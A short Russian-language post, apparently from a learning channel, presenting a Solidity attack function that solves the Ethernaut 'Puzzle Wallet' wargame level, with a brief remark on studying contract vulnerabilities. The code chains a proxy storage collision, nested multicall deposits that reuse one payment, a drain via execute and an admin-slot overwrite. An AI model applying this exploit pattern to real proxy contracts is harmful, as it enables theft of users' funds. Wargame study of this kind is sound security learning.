function attack() {
PuzzleProxy .proposeNewAdmin(attackerAddress);
puzzleWallet.addToWhitelist(attackerAddress);
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
puzzleWallet.multicall{value: 0.001 ether}(calls);
puzzleWallet.execute(attackerAddress, 0.002 ether, "");
puzzleWallet.setMaxBalance(uint256(attackerAddress));
}
На самом деле задачи ethernaut сейчас открывают смарт контракты с новой стороны для меня. Только вчитавшись в них, порывшись в сети, изучив функции и кодирование, можно понять, что хорошо защищенный контракт может содержать уязвимость.
Для этого мы тут и учимся.
#ethernaut
Post #436
197